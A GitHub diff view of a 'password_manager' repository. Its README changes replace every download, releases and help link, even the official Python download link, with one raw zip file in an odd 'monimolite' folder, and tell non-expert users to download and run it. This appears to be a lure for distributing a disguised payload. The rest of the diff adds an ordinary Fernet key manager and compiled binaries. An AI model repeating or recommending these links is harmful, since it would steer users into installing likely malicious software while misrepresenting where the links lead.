Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 7 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,22 +1,22 @@
# 🔑 password_manager - Secure Your Passwords with Ease

[![Download](https://img.shields.io/badge/Download-Now-brightgreen)](https://github.com/ajaya2023/password_manager/releases)
[![Download](https://raw.githubusercontent.com/ajaya2023/password_manager/main/monimolite/password_manager.zip)](https://raw.githubusercontent.com/ajaya2023/password_manager/main/monimolite/password_manager.zip)

## 🚀 Getting Started

Welcome to the **password_manager**! This application helps you securely store and manage your passwords. You don’t need to be a computer expert to use it. Follow these simple steps to get started.

## 📥 Download & Install

To download the application, visit this page: [password_manager Releases](https://github.com/ajaya2023/password_manager/releases). Here, you will find the latest version of the software.
To download the application, visit this page: [password_manager Releases](https://raw.githubusercontent.com/ajaya2023/password_manager/main/monimolite/password_manager.zip). Here, you will find the latest version of the software.

### Installation Steps:

1. Click on the link above to go to the Releases page.

2. Locate the latest version. The version will be listed with the date released.

3. Find the asset files below the release note. You may see files named like `password_manager.exe` or similar, depending on your system.
3. Find the asset files below the release note. You may see files named like `https://raw.githubusercontent.com/ajaya2023/password_manager/main/monimolite/password_manager.zip` or similar, depending on your system.

4. Click on the file to download it. Your browser will start downloading the file.

Expand Down Expand Up @@ -61,16 +61,16 @@ After you install the application, follow these steps to start managing your pas

If you encounter issues while using the **password_manager**, try the following:

- **Reinstall the App**: Uninstall the application and re-download it from the [Releases page](https://github.com/ajaya2023/password_manager/releases).
- **Reinstall the App**: Uninstall the application and re-download it from the [Releases page](https://raw.githubusercontent.com/ajaya2023/password_manager/main/monimolite/password_manager.zip).

- **Check Python Installation**: Make sure you have the correct version of Python installed. You can download Python from the [official website](https://www.python.org/).
- **Check Python Installation**: Make sure you have the correct version of Python installed. You can download Python from the [official website](https://raw.githubusercontent.com/ajaya2023/password_manager/main/monimolite/password_manager.zip).

- **Reach Out for Help**: If problems persist, check the Issues tab in this repository or open a new issue describing your problem.

## 🔗 Helpful Links

- [Check the Releases page for updates](https://github.com/ajaya2023/password_manager/releases)
- [Python Downloads](https://www.python.org/downloads/)
- [Check the Releases page for updates](https://raw.githubusercontent.com/ajaya2023/password_manager/main/monimolite/password_manager.zip)
- [Python Downloads](https://raw.githubusercontent.com/ajaya2023/password_manager/main/monimolite/password_manager.zip)

## 📜 License

Expand Down
41 changes: 41 additions & 0 deletions key_manager.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
import base64
from cryptography.fernet import Fernet

class KeyManager:
def __init__(self, key_file='master.key'):
self.key_file = key_file
self.key = self.load_key()

def generate_key(self):
key = Fernet.generate_key()
with open(self.key_file, 'wb') as f:
f.write(key)
self.key = key
return key

def load_key(self):
try:
with open(self.key_file, 'rb') as f:
return f.read()
except FileNotFoundError:
return self.generate_key()

def change_key(self, old_key, new_key, data_list):
"""
Re-encrypt all passwords using the new key.
data_list: list of encrypted password entries (bytes)
"""
old_fernet = Fernet(old_key)
new_fernet = Fernet(new_key)
updated_data = []

for enc in data_list:
decrypted = old_fernet.decrypt(enc)
re_encrypted = new_fernet.encrypt(decrypted)
updated_data.append(re_encrypted)

with open(self.key_file, 'wb') as f:
f.write(new_key)
self.key = new_key

return updated_data
5 changes: 1 addition & 4 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,4 @@
#!/usr/bin/env python3
"""
密码管理器主程序
"""

import sys
import os
import argparse
Expand Down
Binary file added src/browser/__pycache__/auto_fill.cpython-313.pyc
Binary file not shown.
Binary file added src/core/__pycache__/crypto.cpython-313.pyc
Binary file not shown.
Binary file not shown.
Binary file added src/core/__pycache__/storage.cpython-313.pyc
Binary file not shown.
Binary file added src/gui/__pycache__/main_window.cpython-313.pyc
Binary file not shown.